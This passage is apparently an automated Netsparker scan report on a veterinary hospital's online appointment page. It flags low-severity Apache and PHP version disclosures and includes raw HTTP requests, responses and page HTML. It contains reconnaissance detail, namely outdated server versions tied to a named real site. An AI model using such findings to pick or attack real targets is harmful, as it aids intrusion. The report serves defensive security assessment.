<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
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<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="" disabled="disabled" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" checked="checked" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" />
<label for="new_client">I am a new client.</label>
</d..
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html

Extracted Version

Apache/2.2.15 (Win32)

Request

GET /new-york-veterinary-hospital/appt.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:45:30 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="" disabled="disabled" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" checked="checked" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" />
<label for="new_client">I am a new client.</label>
</d..
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html

Extracted Version

PHP/5.2.14

Request

GET /new-york-veterinary-hospital/appt.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:45:30 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
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d.write('<sc'+'ript src="'+
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'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="" disabled="disabled" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="" />
